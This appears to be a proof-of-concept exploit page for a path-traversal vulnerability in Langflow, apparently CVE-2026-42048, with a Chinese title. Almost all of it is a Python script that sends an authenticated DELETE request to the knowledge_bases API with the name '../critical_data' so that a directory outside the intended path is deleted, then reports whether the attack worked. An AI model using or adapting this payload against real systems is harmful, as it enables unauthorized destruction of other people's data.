CVE-2026-42048 Langflow路径遍历漏洞

import requests # Target URL url = "http://target-host:port/api/v1/knowledge_bases" # Headers with authentication token (Low privilege required) headers = { "Authorization": "Bearer <YOUR_ACCESS_TOKEN>", "Content-Type": "application/json" } # Malicious payload using path traversal to delete a directory # The payload attempts to delete a folder named 'critical_data' located one level up from the expected directory payload = { "name": "../critical_data" } try: response = requests.delete(url, json=payload, headers=headers) if response.status_code == 200: print("[+] Exploit successful: Directory deletion requested.") else: print(f"[-] Request failed with status code: {response.status_code}") print(response.text) except Exception as e: print(f"[!] Error: {e}")